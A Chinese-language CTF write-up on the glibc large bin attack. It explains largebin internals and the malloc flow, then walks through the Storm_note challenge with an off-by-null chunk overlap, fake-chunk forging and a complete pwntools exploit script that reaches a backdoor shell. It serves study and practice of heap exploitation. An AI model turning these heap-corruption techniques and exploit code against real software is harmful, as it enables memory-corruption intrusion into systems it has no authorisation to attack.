LargeBin_Attack

LargeBins结构:

  • bins[64] ~ bins[126]

  • 63 个循环双向链表

  • FIFO

  • 管理大于 504 Bytes 的 free chunks(32位下)

[f6So1U.png

堆块结构:

1
2
3
4
5
6
7
8
9
10
11
struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize;
struct malloc_chunk* bk_nextsize;

malloc流程:

  • 若申请size属于fastbin,查找fastbin,若fastbin中存在符合大小的chunk,取出chunk,返回。
  • 若size属于smallbin,查找smallbin,若smallbin中存在符合大小的chunk,取出chunk,返回。
  • 若size属于largebin,则调用malloc_consolidate函数对fast bin中所有的堆块进行合并,其过程为将fast bin中的堆块取出,清除下一块的p标志位并进行堆块合并,将最终的堆块放入unsorted bin。之后 便利unsored bin中的chunk,若找到满足的chunk则返回(遍历过程中会将不满足的chunk根据大小分到small bin 和large bin中,且插入large bin的时候会进行排序)然后在small bin和large bin中找到适合size_real大小的块。若找到则分配,并将多余的部分放入unsorted bin。
  • 若largebin中也未找到,则调用top chunk扩展brk,若top chunk size不够,则借助系统开辟空间。

Large Bin_Attack利用原理:

当执行malloc流程中的第三步时,假设此时unsorted bin中存在chunk,遍历unsorted bin的过程中会将chunk分到largebin中,实现插入操作,即发生unlink,会导致某些地址被赋值。(malloc之前需要能控制largebin中chunk的bk和bk_nextsize数据和unsorted bin中chunk的bk数据。)

1
2
3
4
5
6
7
8
9
10
11
//victim是unsortedbin_chunk、fwd是修改后的largebin_chunk
{
victim->fd_nextsize = fwd;//1
victim->bk_nextsize = fwd->bk_nextsize;//2
fwd->bk_nextsize = victim;//3
victim->bk_nextsize->fd_nextsize = victim;//4
}
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

对于largbin_chunk的内容赋值我们并不关心,关心的是伪造的target的赋值,其中最重要的是fake_chunk中size的修改

具体unlink过程:

  • 假设此时unsorted bin中存在一个chunk(size属于large bin且size大于largebin_chunk的size,bk数据可控),largebin中存在一个chunk(bk和bk_nextsize数据可控,可以通过off by null—overlap或uaf实现)

  • 此时分别构造unsortebin_chunk的bk字段和largebin_chunk的bk以及bk_nextsize字段。

  • 构造方法:其中content_addr为要申请到的target地址,chunk_7可控制unsortedbin_chunk,chunk_8可控制largebin_chunk。
    构造chunk_7的bk = fake_chunk_addr,构造chunk_8的bk为fake_chunk_addr + 8,bk_nextsize为fake_chunk_addr-0x18-5(bk_nextsize的构造主要是为了给fake_chunk加上size字段,绕过malloc检查)

  • content_addr = ?????
    fake_chunk = content_addr - 0x20
    
    payload = p64(0)*2 + p64(0) + p64(0x4f1)    # size
    payload += p64(0) + p64(fake_chunk)         # bk
    edit(7,payload)
    
    payload2 = p64(0)*4 + p64(0) + p64(0x4e1)    # size
    payload2 += p64(0) + p64(fake_chunk+8)       
    payload2 += p64(0) + p64(fake_chunk-0x18-5)
    
    edit(8,payload2)
    
    1
    2
    3
    4
    5
    6

    构造完成后(由于构造了unsortedbin_chunk的bk,此时target被链入了unsortedbin中),此时bins内容:

    ```python
    unsorted bin: target->chunk_7(chunk7_size > chunk8_size)
    largebin : chunk_8
  • 之后再次malloc(target_size)时,由于此时fastbin和smallbin中均没有符合chunk,因此调用合并遍历unsorted bin。

  • 首先遍历chunk7,发现chunk7不符合,将chunk_7链入largebin,插入largebin时,会根据大小进行排序,大的在前,由于chunk7_size >chunk8_size,因此放在chunk8前边。

  • 此时发生unlink操作,会将target地址附近的内容赋值,此时target被伪造成了合法的fake_chunk,即可绕过检查。

  • 将chunk7链入largebin后,会再次遍历target,发现size符合因此返回target,这样就申请到了指定地址的内存。

例题: 西湖论剑Storm_note

init_proc函数

程序一开始就对进程进行初始化,mallopt(1, 0)禁用了fastbin,然后通过mmap在0xABCD0000分配了一个页面的可读可写空间,最后往里面写入一个随机数。

image-20211226161959441

alloc_note函数

首先遍历全局变量note,找到一个没有存放内容的地方保存堆指针。然后限定了申请的堆的大小最多为0xFFFFF,调用calloc函数来分配堆空间,因此返回

前会对分配的堆的内容进行清零。

image-20211226162007268

edit_note函数

存在一个off_by_null漏洞,在read后v2保存写入的字节数,最后在该偏移处的字节置为0,形成off_by_null。

image-20211226162020179

delete_note函数

这个函数就是正常free堆指针,并置0。

image-20211226162039560

backdoor函数

程序提供一个可以直接getshell的后门,触发的条件就是输入的数据与mmap映射的空间的前48个字节相同。

image-20211226162057414

利用思路

由于禁用了fastbin申请且存在off by null漏洞,因此考虑首先使用off by null造成堆块重叠,之后利用largebin_attack申请到0xabcd01

00处内存,修改为0后通过输入666调用后门函数getshell。

1.通过off by null造成overlap。

具体步骤:

首先分配7个chunk,chunk1和chunk4是用于放入largebin的大chunk,chunk6防止top chunk合并。Chunk结构如下。

1
2
3
4
5
6
7
8
add(0x18)  #0
add(0x508) #1
add(0x18) #2

add(0x18) #3
add(0x508) #4
add(0x18) #5
add(0x18) #6

构造两个伪造的prev_size,用于绕过malloc检查,保护下一个chunk的prev_size不被修改。如下图所示。

1
2
edit(1,'a'*0x4f0+p64(0x500)) #prev_size
edit(4,'a'*0x4f0+p64(0x500)) #prev_size

接着利用off by null漏洞改写chunk 1的size为0x500。

1
2
free(1)
edit(0,'a'*0x18) #off by null

然后就可以进行chunk overlap了, 先将0x20的chunk释放掉,然后释放chunk2,这时触发unlink。

1
2
3
4
5
add(0x18)  #1
add(0x4d8) #7

free(1)
free(2) #overlap

此时,chunk7指向了unsortedbin_chunk,largebin_chunk构造同理,构造完成后chunk8指向largebin_chunk。

2.修改unsortedbin_chunk和largebin_chunk的指定字段。
1
2
3
4
5
6
7
8
9
10
11
12
content_addr = 0xabcd0100
fake_chunk = content_addr - 0x20

payload = p64(0)*2 + p64(0) + p64(0x4f1) # size
payload += p64(0) + p64(fake_chunk) # bk
edit(7,payload)

payload2 = p64(0)*4 + p64(0) + p64(0x4e1) # size
payload2 += p64(0) + p64(fake_chunk+8)
payload2 += p64(0) + p64(fake_chunk-0x18-5)

edit(8,payload2)
3.将unsortedbin_chunk链入largebin实现fake_chunk的size伪造,申请到fake_chunk
1
malloc(0x48)
4.填充0getshell。
1
2
payload = p64(0) * 2 + p64(0) * 6
edit(2, payload)

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *

context.log_level = 'debug'
binary = './Storm_note'
elf = ELF(binary)
libc = elf.libc
local = 1
if local:
p = process(binary)
else:
p = remote('')

def add(size):
p.sendlineafter('Choice: ', '1')
p.sendlineafter('?\n', str(size))

def edit(index, content):
p.sendlineafter('Choice: ', '2')
p.sendlineafter('?\n', str(index))
p.sendafter('\n', content)

def free(index):
p.sendlineafter('Choice: ', '3')
p.sendlineafter('?\n', str(index))

gdb.attach(p)
add(0x18) #0
add(0x508) #1
add(0x18) #2

add(0x18) #3
add(0x508) #4
add(0x18) #5
add(0x18) #6

edit(1,'a'*0x4f0+p64(0x500)) #prev_size
edit(4,'a'*0x4f0+p64(0x500)) #prev_size

free(1)
edit(0,'a'*0x18) #off by null

add(0x18) #1
add(0x4d8) #7

free(1)
free(2) #overlap


#recover
add(0x30) #1
add(0x4e0) #2

free(4)
edit(3,'a'*0x18) #off by null
add(0x18) #4
add(0x4d8) #8
free(4)
free(5) #overlap
add(0x40) #4
edit(8, 'aaaa')
# pause()

free(2) #unsortedbin-> chunk2 -> chunk5(0x4e0) which size is largebin FIFO
add(0x4e8) #put chunk5(0x4e0) to largebin
free(2) #put chunk2 to unsortedbin

content_addr = 0xabcd0100
fake_chunk = content_addr - 0x20

payload = p64(0)*2 + p64(0) + p64(0x4f1) # size
payload += p64(0) + p64(fake_chunk) # bk
edit(7, payload)

payload2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
payload2 += p64(0) + p64(fake_chunk+8)
payload2 += p64(0) + p64(fake_chunk-0x18-5)#mmap
edit(8, payload2)
# pause()

add(0x48)
payload = p64(0) * 2 + p64(0) * 6
edit(2, payload)

p.sendlineafter('Choice: ','666')
p.send(p64(0)*6)

p.interactive()